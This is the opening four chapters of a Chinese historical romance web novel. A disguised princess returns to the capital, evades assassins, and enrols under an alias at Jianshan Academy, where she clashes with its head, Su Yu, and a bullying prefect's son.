《清贵公子掰弯手札[gb]》
1. 回京(一)
京都的小巷里,一声短促的惨叫声戛然而止。
云沧溟戴着半边银质面具,从黑暗里现身,这是她回京路上又一拨送死的。
她从小巷出来后,望了一眼皇宫的方向,神情有些怅然。
洛惊鸿和她约了今晚在挽月楼见,说给她接风。
云沧溟拐进一条热闹的长街,街上人头攒动,两边全是铺子,招牌幌子五颜六色地挂着,万家灯火辉煌。
她左右扫了一眼,确定没有人跟踪后,才进了酒楼。
挽月楼里弥漫着诱人的香味,麦香糕的热气裹着甜糯,还有糖醋鱼焦糖的糊香。二楼传来琵琶声,断断续续的。
云沧溟深深吸了一口气,随即整个人都放松了下来。
可她刚抬脚上到二楼半腰,就听到楼下一阵桌椅翻倒声。
有人在喊:“五城兵马司查楼!所有人不许动!”
云沧溟闭上眼睛,深呼一口气。
到底还有完没完?
挽月楼顿时炸开了锅,宾客在一声声喝斥中仓皇四散,她压低身子,逆着人流,不动声色地往二楼的窗边溜去。
她知道洛惊鸿这间酒楼里有一条密道。
可她低着头往前才走几步,楼梯上迎面便撞上两个慌不择路的人,肩膀被狠狠磕了一下。
她本能地侧身一躲,但因为动作太猛,脸上的面具啪嗒一声掉在地上。
她快速捡起来重新戴好,箭步便往前走去。
“站住!”一个声音在背后响起。
云沧溟背对着他没动,手摸向匕首。
“转过来。”
如芒在背。
“我说,”身后的人将长刀对向她,“让你转过来。”
云沧溟肩膀一松,转过身时,脸上已换了一副嬉皮笑脸的模样。
“我说官爷,咱就是来吃个酒,用得着动刀动枪的吗?”她用手指轻轻移开了刀,一副瑟缩的样子,“我胆子小,怪吓人的。”
“把面具摘下来!”
那人重新将刀挥在她眼前,不过几寸的距离。
“摘,我摘。”
云沧溟往后退了一步,取下面具,左脸上有一条很长的疤。
那人拿出一张画像,往她脸上比。
云沧溟从背面看清那副像后,眸色一沉。
她刚回来就听说京城混进了奸细,正在全城搜捕。
可那张画像上明明是她的脸。
只有一个可能。
这些人根本不是官府的,而是冲着她来的。
云沧溟镇了镇神后,嘻嘻一笑。
“官爷,您看那画像上的人细皮嫩肉的,”她指了指自己的左脸,“我脸上这么大个疤,怎么可能是她。”
在北境时,她曾在那些被俘的细作身上学过一招,做了半张带着疤痕的人皮贴面。
对面的人朝她走近,想要近距离看清她的疤。
云沧溟心头一紧。
这贴面的技法她也是刚学的,此时并不全然似真。
对方离她越来越近,云沧溟身后的手握紧了匕首。
“官爷,他在那!”
云沧溟猛然朝对方身后一指,在这个空隙里,她抬脚就往楼上跑。
对方反应过来时,只见到她刚绕过楼梯的衣角。
“他奶奶的,敢耍我,”执刀之人向前后一喊,“抓住她!”
她迅速穿过人群,很快离窗沿只有三步之遥。
在刺刀即将穿透她的瞬间,云沧溟跳下了窗。
灌进耳朵的风声像一堵墙,将酒楼里的嘈杂声统统挡在身后。
云沧溟身手利落,瓦片在脚下发出极轻的声音,她几个起落便越过重重屋檐,最后落地在后院的一间茶室门前。
这里很僻静,四下无人。
吱呀一声,门被推开了。
在看到里面的瞬间,她浑身血液一冷。
里面有人。
云沧溟被一把剑逼得连连后退。
“官爷,有事好商量,咱别这样,怪伤和气的。”
对面是个穿着鸳鸯战袄的人,上书“西城兵马司”几个字。
他的步态和刚刚楼上那个人不一样。
她盯着那个人的战袄看了一秒,心里快速盘算着什么。
云沧溟在赌,今晚确实在例行查楼,想杀她的人只是混在其中。
“你是谁?为何行迹鬼祟?”
云沧溟皱着眉,一脸委屈:“冤枉啊官爷,我就是来和朋友吃酒的,被吓坏了才想躲起来。”
对方冷哼一声:“你的身形,可不像不会武的。”
她见势往地上一倒,往脸上抹了一把灰。
“青天大老爷,这年头男子会些拳脚功夫也很正常啊,跟您相比,我就是不入流的三脚猫功夫。”
此时,一群同样装束的人把她团团围住。
又来的这群人,和楼上那批人的步态一样。
“入流不入流,验验就知道了。”
对方挥起剑,直直砍向她的脖子。
云沧溟作势抽出腰间的匕首,大不了,杀个痛快。
“惊云!”
一个清冷的声音从外围传来。
来人拨开人群,拽着她的胳膊,把她从地上拉起。
昏暗的夜色中,云沧溟看到那个人的眼神很干净,像掬着一汪泉水。
“惊云,你怎么跑到这里来了,府尹大人等不到你,让我来寻。”
领头的人听到府尹的名讳后,神情一顿。
“你又是谁?这小子和府尹大人什么关系?”
那人递出了一枚令牌,不卑不亢道:“我是见山书院的人,此次受邀入京,协助京兆府修纂府志,惊云是书院的学生。”
云沧溟从背后观察着他,心中疑惑,无缘无故的,他凭什么救她。
正想着,苏玉转过头对上她的目光:“下次不能再乱跑了,听到没有?”
那一瞬间,她竟不合时宜地嗅到一股淡淡的茶香。
云沧溟回过神来,看到众人齐刷刷看向她。
“听...听到了,我再也不乱跑了。”
苏玉把关系摆在明面上,就算这批人再有杀心,也不敢当面硬来,他们暴露身份,只会弄巧成拙。
“误会,误会,是我们弄错了,”那个拿剑的人干笑了两声后,语气明显软了下来,“既然是帮京兆府做事的,自是不会有错。”
苏玉没有接话,微微欠了欠身。
“我们走,去别处找!”对方朝其他人一呵。
等他们都走后,四下又恢复了寂静,只剩月光落在苏玉脚边的水洼里,映出一小片银白。
他往后退了一步,转身看向她。
云沧溟不解道:“为什么帮我?你就不怕...我真是细作?”
“兵马司若真要抓细作,是不会派杀手来的。”
他的目光带着审视,眉眼凛冽。
“刚刚那群人,根本没打算让你活命。”
“杀手?”云沧溟装模作样地问。
苏玉观察着她,像是在判断什么。
“我只是不希望有冤杀的可能,再说了——”
云沧溟不解地望着他,月光将他的影子拖得很长。
“我可没说要放过你。”
云沧溟微眯眼睛:“什么?”
苏玉转过身,目光对上背后站着的人。
“府尹大人,此人行踪诡谲,苏某以为应带回去严加审讯,您觉得呢?”
云沧溟骤然回眸,看到不远处果真站着一队人。
他们持刀而立,队列整整齐齐。被簇拥在正中的那个,应该就是现任京
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兆尹,张镇。
“不是?有没有搞错啊。”
云沧溟觉得自己的思维有点跟不上他的节奏。
“大哥,我刚刚开玩笑的,我真就一普通老百姓,没必要这样吧。”
她心头一急,伸手去拽住苏玉的胳膊,想拦住他。
苏玉垂下眼,看向她抓着自己衣袖的手。
“如果你不是细作,官府自然会放了你。”
随后他淡淡抽回袖子,低头拍了拍被碰过的地方。
云沧溟看到他的动作后,嘴巴微张,似是不敢相信。
什么意思?刚刚拉了我,现在又嫌我脏?
“带走。”
张镇发令后,她又被新来的一群人团团围住。
云沧溟被这些人一左一右钳制住,两把刀架在她脖子上。
她抗议道:“你们会不会轻点?我真是服了。”
可惜根本没人理她,她被人架着,拖进了顺天府。
顺天府大牢里阴暗潮湿,两排牢房相对而列,空气中弥漫着霉烂和腐臭的气味。
一个时辰后,云沧溟双手抱胸靠在墙上,面色黑沉地看着蹲在牢门外的洛惊鸿。
洛惊鸿笑得上气不接下气,眼泪都快出来了。
“我不是说在挽月楼给你接风吗?”洛惊鸿捂着肚子,有些喘不上气,“啊?你怎么在这儿先吃上牢饭了?”
“笑够了没有?”
云沧溟终于开口,没好气地问:“你是专程来看我笑话的,还是来捞我的?”
“都有。”她换了个姿势,双手搭在牢门上,“你先跟我说说,堂堂...”
洛惊鸿凑近牢门,声音压到只有两人能听见:“堂堂一国公主,是怎么把自己送到牢里的?话本子都不敢这么编吧。”
云沧溟咽了一口气,皮笑肉不笑道:“一个神经病报的官。”
“神经病?谁这么有种啊?”
云沧溟头顶的石壁此时正渗着水珠,一滴一滴往下落,发出单调的嘀嗒声。
她瞪了洛惊鸿一眼:“能不能先别问了,把我弄出去再说?”
洛惊鸿还想继续笑,看到她的眼神后,硬生生憋了回去。
“好好好,我先捞你出去。”
她转身向狱卒喊道:“放人。”
那些狱卒手脚非常麻利地打开生锈的牢门,而后恭敬地往后一退,做了个邀请的手势,洛惊鸿威风地站在一旁。
云沧溟看着他们的动作,脸上晴一雨一阵。
她一出来,二话不说,胳膊一伸便勒住了洛惊鸿的脖子,半点不客气。
“死丫头,你早就打好招呼了,非得笑够了才放我出来?”
“我错了我错了。”洛惊鸿歪着头,连连告饶。
“哼,早干嘛去了,查楼的时候你怎么不在?”云沧溟一脸不爽,“我今天跟你没完。”
洛惊鸿被她夹着脖子,嘴上诚恳:“姑奶奶,挽月楼新上了你爱吃的菜品,都给你备好了,我亲自给你赔罪成不成?你松松手——”
“这还差不多。”
云沧溟想起刚刚酒楼里的香味儿,放开她后往前推了一把。
出来后,两人上了洛惊鸿那辆气派的马车,车辘辘驶过繁华街市。
云沧溟一路上都没说话,她透过窗户看着京都的模样,神情复杂。
马车最终又停在了挽月楼下,酒楼此时已经恢复了原先的热闹,就好像刚刚什么都没发生过。
进了楼后,洛惊鸿一路走一路跟左右的人点头致意,十分风光。云沧溟跟在她身后,一起上了二楼。
停在雅间门口时,洛惊鸿脚步顿住,示意了她一眼。
“搞什么?”
云沧溟没多想,伸手推开了门。
门打开的那一瞬间,她瞳孔骤然放大,整个人都愣住了。
2. 回京(二)
只见十几双眼睛齐刷刷看向她。
抚琴的、作画的、舞袖的,清一色妙龄少年。
云沧溟转头看向洛惊鸿,满脸震惊。
洛惊鸿一脸诡笑,拉着她进了门,那些少年没再看她们,继续做着自己的事。
云沧溟被她拉着坐下:“这就是你跟我说的,挽月楼新上了我爱吃的菜品?”
“我就问你算不算吧。”洛惊鸿挤眉弄眼道,“再说了,要不是如此,你去哪找你那个无中生有的情郎?”
“那你也应该提前跟我说是流水席吧?”云沧溟拽了拽身上的男子装束,“我穿成这样,你不觉得诡异吗?”
云沧溟抬头正对上那个抚琴少年的目光,他的琴声一顿。
洛惊鸿一脸嬉笑:“哎呀,不碍事。我都只知会过了,他们虽然不知道你的身份,但都知道你是女子。”
云沧溟摇了摇头,略带惋惜道:“骗你的,他们不知道才好玩,美则美矣,可惜索然无味。”
洛惊鸿闻言表情凝固在脸上,下巴差点掉下来:“嚯,小姐果然见多识广,雅性之清奇,甘拜下风。”
云沧溟挑了挑眉:“彼此彼此,洛小姐谦虚了。”
洛惊鸿白了她一眼,就在这时,隔壁雅间突然传来“砰”的一声,像是有人拍了桌子,紧接着是一道带着怒气的声音。
洛惊鸿嗤笑了一下:“隔壁那间,坐的是顺天府尹,出了名的暴脾气,最近京城出了一桩科举舞弊案,见山书院的学生被——”
“见山书院?!”云沧溟没等她说话,把酒杯磕在桌面,“怎么又是见山书院?”
屋里的少年同时停了一下。
洛惊鸿朝他们摆摆手:“你们继续,继续。”
“见山书院有什么问题吗?你怎么这么大反应。”洛惊鸿不解地问。
云沧溟把来龙去脉都告诉了她。
洛惊鸿听后捧腹大笑:“原来是这样啊?!我说你怎么...啊哈哈哈,这人神经病吧。”
“你还笑,别笑了!”云沧溟剜了她一眼,“隔壁是见山书院哪个?”
洛惊鸿顺了顺气后,坐定继续说道:“见山书院的学生最近被牵扯到一起科举舞弊案里,他们山长正捞人呢。”
“山长?”云沧溟翻了个白眼,没好气地问,“谁啊?”
“就是那个苏相浔的孙子,苏玉。”
云沧溟皱了皱眉:“什么?苏相浔的孙子?来捞人?”
洛惊鸿点了点头继续说道:“听说这位山长生的温润如玉,说话滴水不漏。顺天府的人跟我说,他在堂上把主审官怼得哑口无言,可偏偏态度还极好,让人想发火都找不到由头,他不去当官,真是可惜了。”
“温润如玉?”云沧溟寒津津的冷笑了一声,“他一个白身,把顺天府尹气成这样,还能把人捞出来?”
“这才是最神的地方。”洛惊鸿意味深长地感叹道。
“苏相浔把持朝政二十多年,门生故吏遍布京城,他倒了之后,多少人以为苏家要完了?可这么多年过去了,那些人脉关系居然都还在,你说神不神?”
云沧溟握紧拳头:“神不神我不知道,我只知道他最好不是把我送进牢里那个,否则——”
“应该不是吧?”洛惊鸿朝隔壁看了一眼,话锋又一转,“但也不是没可能。”
“是不是,我一瞧便知。”
云沧溟起身就往外走。
“哎,”洛惊鸿连忙拉住了她,“你现在不能去。”
云沧溟被拉出后,不自觉摸了下脸上那副面具,极不情愿地转过身,重重地坐了回去。
洛惊鸿舒了一口气,凑过来压低声音:“你已经回京的事,你父皇知道吗?”
“不知道。”
“你是偷跑回来的?”洛惊鸿倒吸一口凉气。
“你以为我愿意回来?他连发了三封密诏催我回京成婚,最后一道我接到信就动身了。”云沧溟漫不经心道,“传旨的人找不到我,且耽误着呢。”
“你疯了?要是让人知道你已经在京城——”
“我知道。”云沧溟打断她,“所以我不能露面,要是让他知道了,收了我的权不说,这间酒楼我都出不去。”
洛惊鸿朝她靠了靠身子:“你现在还能躲到我这儿,可皇帝迟早会发现你已经回来了,到那时候,你可就被动喽。”
“哎呀我知道,”云沧溟托着腮敷衍道,“我这不是已经提前跟他备过案,说有人选了吗,他让我带回去瞧瞧。”
“那人呢?在哪呢?”洛惊鸿左右顾盼,“让我看看是何方神圣。”
“这不正找着的嘛。我昨天才回来,哪有那么快。”
洛惊鸿讪笑了几声:“皇帝可不会让你随便糊弄他的,我可都听说了,包括首辅家的儿子在内,全京城的世家子弟可都排着队等你呢。”
云沧溟冷笑道:“说的好听,那些人哪一个是善茬儿?嫁了他们我这辈子就别想再离开京城了,这比杀了我都难受。”
“所以说让你赶紧从这里面选一个啊,我接到你的信儿立马就给你备着了,这些可都是京城富商家的公子,看我洛家的面子,才放下身段过来给你挑的,你可别不识好歹。”
云沧溟全场扫视了一眼,这里说是雅间,不如说是个宴乐坊。中间跳舞那个,一身清透的薄纱,舞袖翻飞间身形若隐若现。
丝篁声中,也亏得最左边离她最近、穿绿衣服的那位,还能静下心挥笔弄墨。
她收回目光,用手支着脑袋,慵懒地拿起酒杯喝了一口,没吭声。
洛惊鸿按住她的胳膊,耐着性子劝道:“他们没有官身牵制不了你,你带回去还是有周旋的余地的。”
“选选选,我选,怎么能辜负洛大小姐的好意呢,”云沧溟笑道,“那我能不能都要了啊?”
“美得你,”洛惊鸿推了她一把说道,“驸马只能有一个哦,别的倒也不是不可以。”
“真的啊?”云沧溟坏笑道。
洛惊鸿白她一眼,向后坐了一寸:“行了,这些你要是都看不上,我还有一个。”
洛惊鸿向身后示意了一眼,云沧溟这才注意到窗边还站着一个人。
那男子大概十八九岁,模样青涩乖巧,穿着一身绯色轻衫,手里端着酒壶,看起来很安静。
洛惊鸿叫他之后,他小鹿般抬眼和云沧溟对视一眼,然后又迅速错开目光走了过来。
容因走到她身边,从容地斟了一杯酒,双手奉上。
“公主。”他的声音压得很低
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云沧溟没有接,看了他一眼,又看了洛惊鸿一眼。
“你的人?”
洛惊鸿点了下头:“他叫容因,能力不错,你要是喜欢,我给他安排个体面的新身份就是。”
听到洛惊鸿的话,容因低下了头,好像有些紧张。
云沧溟旋而一笑,接过容因手中的酒后示意他坐下,调侃道:“你身边的人,怎么舍得割爱?”
“谈不上割爱,”洛惊鸿淡淡地瞥了容因一眼,“我只是送他去最合适的地方。”
云沧溟没接她的话,转而问道:“问我倒问了一通,你还没说今晚查楼到底是怎么回事?”
洛惊鸿见她岔开了话题,也没多说什么。
“你回来的前几天,京城混进了细作,五城兵马司的人跟疯了一样,到处在查。”
云沧溟靠在椅背上,转了转手中的酒杯:“你们洛家做的可是我皇室的生意,五城兵马司的人还敢动你挽月楼?”
洛惊鸿苦笑一声:“洛家再横,也是皇城根儿下讨饭吃,哪有那么容易的。再说了,你这几年不在京城,没人给我撑腰,我可不是得处处装孙子,赔笑脸?”
“得得得,”云沧溟斜睨她一眼,“这是拐着弯儿骂我呢。”
洛惊鸿懒得跟她掰扯,又看了一眼容因,他在一旁神情有些落寞。
“容因是我在京城用的最顺手的探子,”洛惊鸿转而又提起他,“你就算不喜欢,成婚之后跟在身边也算个帮手。你不说,谁知道他是干嘛的。”
“听着倒是不错,”云沧溟淡淡笑了笑,转身面向他,“既然如此,容公子,我现在确实有件事想请你帮忙。”
容因站了起来,恭敬道:“小姐请说,容因必不负所托。”
“没什么大事,”云沧溟轻笑一声,“想请你去帮我看看,隔壁那个人穿的什么衣服,长什么模样。”
容因和洛惊鸿对视一眼后,应声答道:“是。”
他走后,洛惊鸿一脸狐疑地拉住她:“怎么?你对隔壁的人感兴趣?”
云沧溟不置可否。
“别开玩笑了,”洛惊鸿讪笑了一声,“你明知道,谁都可以,但苏家不行。”
云沧溟往隔壁看了看,眉眼暗沉。
“所以他最好不是。”
只过了一会儿,容因便回来了。
云沧溟向洛惊鸿调侃道:“能力确实不错。”
容因站定后,云沧溟身体向前一倾。
“说。”
他缓缓开口:“那人穿苍绿色直裰,模样清隽,约莫三十出头的样子。”
云沧溟闻言,俯身摇了摇头,笑出了声。
“真的是啊?”洛惊鸿一脸不可置信。
云沧溟把玩着手里的酒盅:“如果非要找个人交差,不如找个有挑战性的。”
洛惊鸿面露担忧:“你可想好了,不出两个月,你父皇必定知道你回来了。他又是苏家的人,你们...你别忘了苏相浔当初是怎么死的...他怎么肯?”
“玩玩嘛。”云沧溟饶有兴味地看着隔壁。
“还有,别忘了帮我安排个身份,两个月,足够了。”
洛惊鸿有些无奈地看向容因,叹了口气道:“遵您的命——”
3. 见山书院(一)
春日的阳光温暖而不刺眼,是开学的好日子。
阮州地处祁岭以南,气候湿润,见山书院坐落于此。
此时书院门前宽阔的石板路上,队伍已经排了半条街,云沧溟夹在人群中,和周围的人一样一身青衫竹冠,她竭力让自己看起来像个寻常女学生。
“江鹤!谁叫江鹤?”书院门前负责登记的小生梗着脖子喊了好几遍。
云沧溟这才反应过来是在叫她。这名字是临时起的,她还没听惯。
“我!我!我!”江鹤快步跑到登记的书案前,赔笑着说,“不好意思啊,书院太好看了只顾着欣赏,一时没留意。”
对方并没有抬头看她,语气倒也平和,“下次听好了,这么多人排队呢。”
云沧溟应着声,余光却已越过登记小生的肩膀,扫向书院深处。
她要找的人,应该已经在了。
登记完后,江鹤刚把一只脚跨进书院门槛,就听到身后吵吵嚷嚷的。
她转过身,只见一群人簇拥着一个身穿官服的中年人,他身后跟着个和学子们穿着一样衣服的少年,正往书院走来。
看他的官服应是阮州知府,裴义。
正瞧着,江鹤突然嗅到一股熟悉的味道,是茶香。
一个人的残影从她身旁掠过。
是他。
苏玉迎了上去,把一干人等挡在书院门外,站定后微微欠身。
“知府大人驾临,苏某有失远迎。”
裴义伸手向后招呼了一下,落在队伍后的少年被人推到前面。
“山长客气了,见山书院名满天下,本官在开学之日叨扰,实属无奈。”裴义瞪了一眼那个约莫二十出头的少年,把他拉到身前斥道,“裴宣,还不快见过山长。”
那少年在他爹面前不敢造次,有模有样的行了礼。
苏玉没有应答。
“山长啊,这就是我先前在信中提到的,我那不成器的犬子,本官见山长迟迟没有回信,想来是书院事务繁忙,今日只好亲自登门,还望山长不要见怪。”
裴义面中带笑容,摆出来一副和苏玉私交很好的样子。
见山书院是大盛第一书院,天下学子无不心向往之,书院每年招生都须经公开考选,裴义凭一封信就想把儿子塞进来。
况且书院开学之日,多有乡绅名流在场,他如此大张旗鼓的直接送儿子过来,当场施压,简直是仗势欺人,一点都不把书院放在眼里,真是威风极了。
江鹤在角落里冷哼一声,没想到书院还没进去,倒先看了场热闹。
苏玉微微一笑,抬手示意裴宣免礼,随即目光扫过在场众人,从容道:“原来如此。但裴大人是阮州的父母官,想必知道,我见山书院招生,向来须经公开考选,方能入院。”
“这个,本官当然知晓,”裴义面不改色,向苏玉走近了几分,“只是谁人不知这天下的书院都是山长最大,按照其他书院的规矩,除了公开考选外,只要山长点头,学子便可直接入院。”
裴义距离苏玉只一步之遥,眼中的笑意是冷的。
按道理来说,地方官员捏着书院的学田经济来源,政治合法性上也多依仗他们支持,一般书院根本不会为了一个生员,开罪当地最大的父母官。
可见山书院不一样,书院依仗的是苏家私产,经济制约便少了很多,见山书院和阮州地方官更多的是共生关系。
可惜如今苏氏一族已全然在野,政治上无法抗衡。不然裴义根本不敢这么大张旗鼓地施压,这是要逼苏玉就范。
全场都在等着苏玉发话。
江鹤在角落里观察着这一切,这件事若进一步,会开罪知府;若退一步,会落下趋炎附势的名头,这位山长会怎么处理这件事,她很好奇。
苏玉向前走了一步,与裴义只有咫尺距离。
“那是自然。”
苏玉说道:“裴公子既出身名门,想来才学过人,自不必与寻常学子一同考选。”
裴义听到苏玉松口,有些得意地说道:“山长伯乐之见,定不会令犬子蒙尘。”
“不过,”苏玉话锋一转,转身面向众人,“见山书院规制森严,天下皆知。凡触犯禁令者,无论出身,同罪论处。”
裴义笑意僵在嘴角,干笑了两声,只是点了点头,算是应付过去了。
“今日开学,正好各方都在,苏某言此既是告诫学子,也是请知府大人和诸位做个见证,如若今后我院学子有谁视禁令于无物,苏某绝不护短。”
苏玉的目光扫向身后报道的众学子:“苏某今日把话说在前面,各位可听清了?”
他的视线扫过江鹤的那一刻,似是顿了一下。
一众学子闻言行礼应答:“学生明白。”
裴义见状不好再多言,装模作样训斥了裴宣几句,就带着人离开了。
在场其他人也没再生事,入学登记继续照常进行了下去。
江鹤站在原地,望着苏玉回去的背影,微微一笑。
她迫不及待地想知道,这样一个看似霁月清风的人,动了心时,还能不能做到这般不偏不倚。
江鹤也是第一次意识到,自己内心竟也有如此阴暗的一面,确实有趣。
入院后,江鹤的住处被分到了棠梨轩。
江鹤找到自己的房间后,看到房门正向外敞开。
她跨步走进去,发现屋里地方不算大,最左边两张床相对而设,中间一扇屏风隔开,右边靠窗一米远的位置摆着一张书案,上面整整齐齐地放着笔墨纸砚。
她的房间朝南,窗棂的影子斜斜地印在木质的地纹上,光柱里浮着微尘,整个屋子都很亮堂。
有一个身量纤纤的女子正背着她收拾东西,江鹤从背后打量着她,突然有一种久违的,回到正常人生活的错觉。
那是一种可以松弛下来的感觉,像是偷来的。
那女孩注意到身后的目光后,转过身来,看到一个人正靠在门上看着她出神。
虽然她长得清丽冷艳,身量高挑,但此刻的样子却有点像变态。
“你好?”
女孩朝她打招呼:“你也住在这里吗?”
江鹤回过神来:“啊,对,你好。”
女孩甜甜一笑:“我叫序竹,你呢?”
"我...我叫江鹤。"
序竹若有所思:“江鹤...听起来好像是有个什么我不知道出处的名字,真好听。”
江鹤被她的坦诚逗笑了。
“没什么出处,瞎起的。你的名字也很好听。”
序竹嘿嘿一笑,问道:“对了,你带吃的了吗?”
“啊?”
她有些不好意思地说:“我娘准备的干粮,在路上
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已经被我吃完了。”
“我现在,有点饿。”
江鹤抬头往屋外看了一眼,说:“现在应该快到午饭时间了,吃完饭再收拾吧。”
序竹雀跃地直点头:“好呀,我很早就听说见山书院学膳乃大盛一绝,我已经迫不及待了。”
江鹤看着她脸上掩盖不住的兴奋,很难不怀疑她就是冲着吃的来见山书院的。
“那咱们走吧。”
江鹤看着序竹伸向自己的手,愣了一下后,笑着拉上她走了。
春风和煦,书院里栽种了许多梨花树,他们住的棠梨轩,花开正盛。
去食堂的路上,学子们三两结伴,一路小打小闹的,脚步都很轻快。
她们到得早,食堂里还空着大半,门一推开,热气伴着饭香扑面而来,酸酸辣辣的、甜丝丝的、油滋滋的,混在一起直往鼻子里钻。
前后左右的长案上一排排摆着刚出锅的菜,红的绿的白的,各种菜式琳琅满目。
江鹤觉得这书院挺有钱的。
可和序竹盛好饭菜刚坐下,江鹤隔着大老远就听到裴宣在嚷嚷着闹事。
不出她所料,裴宣刚刚一言不发装孙子,完全是因为他爹在场。
“老子说这是赏你的,让你捡起来听不到吗?”裴宣趾高气扬的一条腿踩在凳子上,指着眼前的一个学子骂道。
被攻击的那个学子叫汪景宜,是这批生员里家境最贫寒的,从他那洗得发白的青衫就能看出来。
从他们的对话来看,裴宣刚踏进书院开始,就张牙舞爪的找同批生员做他的书童,现在这是瞄上汪景宜了。
汪景宜本就不多的餐食被裴宣撒了一地,汪景宜正瞪着裴宣一言不发。
“瞪什么瞪,二十两买个你都够了,别不识抬举。”裴宣上前揪住他的衣领,说着就挥起拳头。
“松开!”
汪景宜也是个性子横的,瞪着眼睛涨红了脸,在拳头落下前先给了裴宣一个屁股蹲。
“给我弄死这个狗娘养的!”
裴宣被激恼后指挥着他的小弟们,开始群殴。
周围都是看热闹的人,并非他们胆小,而是裴家是他们惹不起的。
只听人群中有几个女学生的声音:“你们别打了,山长知道了要罚的。”
裴宣闻声冲着那几个姑娘喊:“山长?你们刚刚不也看到了,山长也得让我们裴家三分,你算什么东西!”
江鹤听得有些恼了,刚刚的好心情全被这些小屁孩弄没了。
“闹够了没有!”
江鹤的声音洪亮,竟一下子镇住了那些原本拳打脚踢的人。
看热闹的人倒也识趣,主动给江鹤让出一条路来。
她看了一眼地上鼻青脸肿的汪景宜,即使他力气再大,也终究寡不敌众。
裴宣从上到下打量了一圈江鹤,露出一副流氓的神情:“你是哪来的,模样倒是不错,脾气不小。老子不打女...”
“闭上你的狗嘴!”
裴宣话还没说完,江鹤就一拳打在了他的脸上,门牙掉了一颗,嘴角见了血。
“你...!”
裴宣还没反应过来,人已经趴在了地上。他撑着地面摇摇晃晃地站起来,嘴角渗着血,脸涨得通红,眼中尽是羞愤。
“老子今天就为你破了戒,兄弟们,给我弄她!”
4. 见山书院(二)
“二十两是吧?”
江鹤用衣袖拂了一下背后的桌子,大爷似的坐了上去。
“什么?”裴宣有点摸不着头脑。
“我出一百两,你们以后不准再骚扰他。”江鹤瞥了一眼地上的汪景宜。
“呦呵?显得你有钱了?”裴宣气急败坏地嚷着。
这一点他不如他父亲,显得没教养。
“怎么?嫌多了?要不然你再出个价。”
江鹤拿出帕子仔细擦了擦刚刚挥拳的右手,这招她是跟苏玉学的。
裴宣见状,脸色难看至极,黑的像锅底一样,明显是气得不轻。
江鹤觉得这招真不错,当时的气愤竟消了一半。
“老子出一千两,买你...”
裴宣手指着她的鼻尖。
“五千两。”
江鹤收起帕子,抬眼挑衅:“买你,够吗?”
全场鸦雀无声。
汪景宜此时缓了过来,坐在地上不解地看着江鹤。
裴宣被气得快喘不过来气,一把推开想要搀扶他的小弟们。
“一万两!我买你们两个!”
“成交!”
江鹤爽快地跳下桌子,走到裴宣面前摊开双手:“拿钱吧。”
一万两对于一个贪污的知府来说,虽然拿的出来,但确实也不算个小数目。
更何况刚刚他爹当着所有人承诺他会守规矩,这事传出去让他下了面子,裴宣绝对不会好过。
江鹤激他,猜准了他不敢问家里要。
“怎么?拿不出来吗?”江鹤鄙夷地看了他一眼,“别瞪,好像我欺负你似的。”
裴宣已经被气得完全失去了理智,抬起腿就往江鹤身上踹。
“哎呦!”
江鹤顺势捂着肚子往后倒,再抬头时竟眼含着泪。
裴宣傻眼了。
“老子都没碰到你,你装什么装。”说着他就往地上拽江鹤。
她没有躲,心中在数。
三,二,一。
“住手!”
又是在挽月楼的那个音色。
方才还闹哄哄的食堂,霎时安静下来,不管是吃饭的还是看热闹的,这会儿全站起来了,脸上都换上了一副肃穆的神色。
江鹤一开始就叫序竹去喊人,说有人在食堂闹事,没想到是苏玉直接亲自来了。
声音在背后响起时,江鹤正坐在地上,被恶霸狠狠拽着胳膊。
她拧着五官转头,望着赶来的苏玉,仿佛受了天大的委屈。
“山长...”江鹤一副要告状的模样。
她很后悔,为什么小时候没学会这一招。那样或许她就能好过一点。
“不是,我没有,是她...!”
裴宣连忙松开手,指着地上的江鹤,却看到她一脸受了多大欺负的样子。
他终于反应过来,指着江鹤连连后退,只能从喉咙里发出一些声音。
“你,你,你...”
江鹤看着他的样子,竟突然觉得有些内疚。
只有冤枉你的人知道你有多冤枉。
苏玉示意医师去查看江鹤和汪景宜的情况,看到两人坐定后,转而面向裴宣。
“裴宣。”
清冷而威仪的声音落在他身上,江鹤坐在一旁打量着这个山长。
她托着脑袋想,自己帮苏玉演的前戏已经演完,现在台子是他们的了。
“山长!我没有!”裴宣仍在试图辩驳。
可惜百口莫辩。
“你没有什么?“
苏玉的声音并不高,却不怒自威。
”你没有殴打同门?还是没有使钱索买同门?”
“明明是她!”裴宣指向旁边一脸幸灾乐祸的人。
江鹤在苏玉看过来时,差点没装住,转瞬便是一副受屈的神情。
苏玉轻笑了一声:“你是想说,她一个小姑娘打了你吗?”
“小...?”
裴宣张嘴想反驳什么,余光却发现所有人都在看他,愣是硬生生咽下去了那句话。
小姑娘...
这边的江鹤却在心里品咂着,也不知道自己在美些什么。
苏玉敛了神色,说道:“知府大人不久前刚说,裴公子入院后会守规矩。如今才过了一个时辰,你便殴打同门、索卖同窗。”
他顿了顿,问道:“裴公子是觉得令尊的话不算数,还是觉得我见山书院的规矩管不到你?”
裴宣被苏玉的话压得抬不起头,闷哼着:“山长...”
学人精!江鹤白了他一眼。
“我现在给你两个选择。”
苏玉沉着声音:“第一,我现在就着人到贵府送信,裴公子入学便犯禁,按规矩当罚。但裴大人是阮州父母官,见山书院不敢擅自处置,只能请裴大人定夺,是送回来继续读书,还是鸣鼓斥之,另请高明。”
“不!不要告诉我父亲!”
裴宣听到说要把他送回去,吓得直接跪坐在了地上。
他的反应倒是让江鹤觉得有点意思,裴宣竟然如此惧怕裴义。
苏玉停了一下,继续说道:“第二,裴宣殴打同门、索买同窗,按照书院的规矩,当杖责十五,罚禁闭一月,并于阮州士民前公开检讨,当面向两位同门道歉。”
裴宣听完垂丧着头,蔫了似的说:“我选第二条。”
“选了就好。”苏玉淡淡应道。
江鹤此时托着脑袋,她在想,苏玉让裴宣公开检讨,这事很快就会传遍整个阮州,倒算是扯平了。
苏玉收回目光,转而看向一脸神游于外的江鹤。
“江鹤寻衅参与,罚抄《省身录》十遍,可有异议?”
啊?我吗?
江鹤以为她听错了,差点把心里话脱口而出,生咽了回去后垂首道:“学生没有异议。”
“那就好。”
苏玉望着她,不辨喜怒。
江鹤不明白,为什么她能接二连三的在苏玉这里吃瘪。
他克自己吗?
她骨子里的胜负欲被彻底激起。
有朝一日,她一定会要他好看。
当晚江鹤回到棠梨轩,挑着灯,伏案到深夜。
她这辈子都没写过这么多字。
小时候就算被女官罚,都没有这么狠的。
正想着,刚刚又抄错的一页被她烦躁地揉掉,扔在地上。
此时,桌上地上已经堆满了揉皱的纸团。
